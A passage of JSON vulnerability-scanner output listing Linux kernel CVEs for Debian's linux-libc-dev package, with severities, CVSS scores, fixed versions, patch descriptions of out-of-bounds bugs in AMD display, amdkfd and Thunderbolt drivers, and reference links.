"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/fb0707ce00eef4e2d60c3020e1c0432739703e4a%20%287.1-rc7%29", "https://git.kernel.org/stable/c/029571d51140650783be4fb98fe7cb4754752086", "https://git.kernel.org/stable/c/3f32d52ec604c659725d865cf8cc6a17a33f9c6a", "https://git.kernel.org/stable/c/4d1c3c26c2ab1842e139e61983395d64bd2e518b", "https://git.kernel.org/stable/c/5f8b39452fb16f507c9e4d8b4a83ce27e893307c", "https://git.kernel.org/stable/c/8aaa7e317fbd4beb9c6a9f77aa4cf52fae78b117", "https://git.kernel.org/stable/c/d6be8e59af412623e3d874be3a048406c0edfe60", "https://git.kernel.org/stable/c/fb0707ce00eef4e2d60c3020e1c0432739703e4a", "https://linux.oracle.com/cve/CVE-2026-53136.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026062543-CVE-2026-53136-b8ab@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53136", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53136" ], "PublishedDate": "2026-06-25T09:16:30.91Z", "LastModifiedDate": "2026-11-06T17:18:09.693Z" }, { "VulnerabilityID": "CVE-2026-53137", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6aae53fad36edbf196421dec3e8abd3e14546854bb8286ee310bc9bf9b5e2813", "Title": "kernel: drm/amd/display: Clamp HDMI HDCP2 rx_id_list read to buffer size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Clamp HDMI HDCP2 rx_id_list read to buffer size\n\n[Why \u0026 How]\nDuring HDCP 2.x repeater authentication over HDMI, the driver reads the\nsink's RxStatus register and extracts a 10-bit message size field (max\nvalue 1023). This value is used as the read length for the ReceiverID\nlist without being clamped to the size of the destination buffer\nrx_id_list[177]. A malicious HDMI repeater could advertise a message\nsize larger than the buffer, causing an out-of-bounds write during the\nI2C read.\n\nClamp the read length in mod_hdcp_read_rx_id_list() to the size of the\nrx_id_list buffer, matching the approach already used in the DP branch.\n\n(cherry picked from commit 229212219e4247d9486f8ba41ef087358490be09)", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53137", "https://git.kernel.org/linus/f0f3981c43b32cadfe373d636d9e9ca522bb3702%20%287.1-rc7%29", "https://git.kernel.org/stable/c/1906064d50d194a145486e5caf3db3e708b6f6ef", "https://git.kernel.org/stable/c/3c4444aec06c74fbc05661f370954ac814963c38", "https://git.kernel.org/stable/c/79e0273272a05fb26f9b1e55bf1a52eefc3b7b35", "https://git.kernel.org/stable/c/91fb41218c413989d8b6c837748751454b452d68", "https://git.kernel.org/stable/c/964e50ef7b8f09815a7d05b8326af700f8d5bc96", "https://git.kernel.org/stable/c/98cfb7530ea91d8e5e928285cdce58e1131f6e83", "https://git.kernel.org/stable/c/bfba882cfcd08f6540f72f48e786b6404f5d2c5b", "https://git.kernel.org/stable/c/f0f3981c43b32cadfe373d636d9e9ca522bb3702", "https://linux.oracle.com/cve/CVE-2026-53137.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062543-CVE-2026-53137-e711@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53137", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53137" ], "PublishedDate": "2026-06-25T09:16:31.03Z", "LastModifiedDate": "2026-11-06T17:18:09.877Z" }, { "VulnerabilityID": "CVE-2026-53138", "VendorIDs": [ "DLA-4688-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f3ab982db5974700f3a30f76d4a56a81948c3cd3d0a0daaf2ba8fa84a1fa3d20", "Title": "kernel: drm/amd/display: Bound VBIOS record-chain walk loops", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Bound VBIOS record-chain walk loops\n\n[Why \u0026 How]\nAll record-chain walk loops in bios_parser.c and bios_parser2.c use\nfor(;;) and only terminate on a 0xFF record_type sentinel or zero\nrecord_size. A malformed VBIOS image missing the terminator record\ncauses unbounded iteration at probe time, potentially hundreds of\nthousands of iterations with record_size=1. In the final iterations\nnear the BIOS image boundary, struct casts beyond the 2-byte header\nvalidated by GET_IMAGE can also read out of bounds.\n\nCap all 14 record-chain walk loops to BIOS_MAX_NUM_RECORD (256)\niterations. The atombios.h defines up to 22 distinct record types\nand atomfirmware.h has 13. Assuming an average of less than 10\nrecords per type (which is reasonable since most are connector-\nbased) 256 is a generous upper bound.\n\n(cherry picked from commit 95700a3d660287ed657d6892f7be9ffc0e294a93)", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53138", "https://git.kernel.org/linus/ff287df16a1a58aca78b08d1f3ee09fc44da0351%20%287.1-rc7%29", "https://git.kernel.org/stable/c/04e271a952b8863bbafc99bd51aca4c32bff0e0d", "https://git.kernel.org/stable/c/0e56f460bddb397fa9a8e6faf7ae7eaa86953eb1", "https://git.kernel.org/stable/c/2645e3caf7e013189da9c6ff621d006cca5a538b", "https://git.kernel.org/stable/c/499c6b43a79dd684bddbd18fe8b2235aa2764db4", "https://git.kernel.org/stable/c/6173cfea2f916e01c4f98e29cd654384a05e32a3", "https://git.kernel.org/stable/c/6723188c42ca3b34a9fce634d7a0ecc9ccd5cd56", "https://git.kernel.org/stable/c/e94f5323c41f32a74160378c3b19850d1f203ad5", "https://git.kernel.org/stable/c/ff287df16a1a58aca78b08d1f3ee09fc44da0351", "https://linux.oracle.com/cve/CVE-2026-53138.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062543-CVE-2026-53138-59f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53138", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53138" ], "PublishedDate": "2026-06-25T09:16:31.15Z", "LastModifiedDate": "2026-11-06T17:18:10.067Z" }, { "VulnerabilityID": "CVE-2026-53143", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53143", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ed4f61d1fdfdd81dc65dae1e224c18560cd9b0f276f9eca79fe54f0f0788a0ba", "Title": "kernel: drm/amdkfd: Fix buffer overflow in SDMA queue checkpoint/restore on GFX11", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Fix buffer overflow in SDMA queue checkpoint/restore on GFX11\n\nThe v11 MQD manager incorrectly assigned the CP-compute variants of\ncheckpoint_mqd/restore_mqd for KFD_MQD_TYPE_SDMA queues. These functions\nuse sizeof(struct v11_compute_mqd) (2048 bytes) instead of sizeof(struct\nv11_sdma_mqd) (512 bytes), causing a 1536-byte overflow.\n\nDuring CRIU checkpoint of an SDMA queue on Navi3x:\n- checkpoint_mqd() reads 2048 bytes from a 512-byte SDMA MQD buffer,\n leaking 1536 bytes of adjacent GTT memory to userspace\n\nDuring CRIU restore:\n- restore_mqd() writes 2048 bytes into a 512-byte SDMA MQD buffer,\n corrupting 1536 bytes of adjacent GTT memory (often the ring buffer\n or neighboring MQDs)\n\nThis is a copy-paste regression unique to v11. All other ASIC backends\n(cik, vi, v9, v10, v12) correctly use the SDMA-specific variants.\n\nAdd checkpoint_mqd_sdma() and restore_mqd_sdma() functions that properly\nhandle the smaller v11_sdma_mqd structure, matching the pattern used in\nother MQD managers.\n\n(cherry picked from commit 6fa41db7ffdec97d62433adf03b7b9b759af8c2c)", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-131" ], "VendorSeverity": { "alma": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57251", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53143", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/352ea59028ea48a6fff77f19ae28f98f71946a80%20%287.1-rc7%29", "https://git.kernel.org/stable/c/16dad1fb0d783a4008de30e32d0038c393de05b1", "https://git.kernel.org/stable/c/2c5b66c9b4057b385566940935ebc32f6e6ebfd2", "https://git.kernel.org/stable/c/352ea59028ea48a6fff77f19ae28f98f71946a80", "https://git.kernel.org/stable/c/d02f05d30f35b036f7cbaf72de634affb5b38ec6", "https://git.kernel.org/stable/c/d3efcadfe3eea5b4263b8f2d4463b15c9fc46a64", "https://linux.oracle.com/cve/CVE-2026-53143.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026062544-CVE-2026-53143-a564@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53143", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53143.json", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53143" ], "PublishedDate": "2026-06-25T09:16:31.607Z", "LastModifiedDate": "2026-11-06T17:18:10.47Z" }, { "VulnerabilityID": "CVE-2026-53148", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53148", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a09ac930fcdc950bf3093e449d0ff74d0266d4a68e3342207c321aecdfb0261d", "Title": "kernel: thunderbolt: Clamp XDomain response data copy to allocation size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nthunderbolt: Clamp XDomain response data copy to allocation size\n\ntb_xdp_properties_request() derives the per-packet copy length from\nthe response header without checking that it fits in the previously\nallocated data buffer. A malicious peer can set its length field\nlarger than the declared data_length, causing memcpy to write past\nthe kcalloc allocation.\n\nClamp the per-packet copy length so that the cumulative offset\nnever exceeds data_len.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53148", "https://bugzilla.redhat.com/show_bug.cgi?id=2492756", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/322e93448d908434ae5545660fcbe8f5a7a8e141%20%287.1%29", "https://git.kernel.org/stable/c/05a43157676c243c248d1c6d9dcecbe6eba2f35d", "https://git.kernel.org/stable/c/0b334279a82d79fb4723bd4f614305de1ab69caa", "https://git.kernel.org/stable/c/322e93448d908434ae5545660fcbe8f5a7a8e141", "https://git.kernel.org/stable/c/5db10c8ad8c09f72c847dfeef3d876098257f505", "https://git.kernel.org/stable/c/6021d39ccd979713b39b980286020d8f9a45efd1", "https://git.kernel.org/stable/c/89ae04365e01d5ae4aae83044a8bbd2a9aaf8d0d", "https://git.kernel.org/stable/c/906035d5c3784570191d259cbf9a0ac1617852b5", "https://git.kernel.org/stable/c/fcbd0cdab92838854a5818be7ed8a097164ef6d5", "https://linux.oracle.com/cve/CVE-2026-53148.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062546-CVE-2026-53148-84b7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53148", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53148.json", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53148" ], "PublishedDate": "2026-06-25T09:16:32.14Z", "LastModifiedDate": "2026-11-06T17:18:10.91Z" }, { "VulnerabilityID": "CVE-2026-53149", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53149", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fcf769ee1fae86eb15f82aa0ca2b4054f244d027cd252f55d9e98843bbc5e62d", "Title": "kernel: thunderbolt: Bound root directory content to block size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nthunderbolt: Bound root directory content to block size\n\n__tb_property_parse_dir() does not check that content_offset +\ncontent_len fits within block_len for the root directory case.\nWhen rootdir-\u003elength equals or exceeds block_len - 2, the entry\nloop reads past the allocated property block.\n\nAdd a bounds check after computing content_offset and content_len\nto reject directories whose content extends past the block.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53149", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/65423079c7420e3dbf9a7aa345c243a3f5752e5d%20%287.1%29", "https://git.kernel.org/stable/c/0a32040a48db8cf35de48b85d6115df5623e4964", "https://git.kernel.org/stable/c/1912be23daf4afc8d24ce916021ab68ca4c679db", "https://git.kernel.org/stable/c/4d0b1524caadb04c10a71f3f88692c63dcb39115", "https://git.kernel.org/stable/c/5c7657d38d07268124782f03519f07c22a5814fb", "https://git.kernel.org/stable/c/60ba6217460792356a238299edd675d91d46bab4", "https://git.kernel.org/stable/c/65423079c7420e3dbf9a7aa345c243a3f5752e5d", "https://git.kernel.org/stable/c/b212bc161d8a9937b42153723a4a3f2f74fab528", 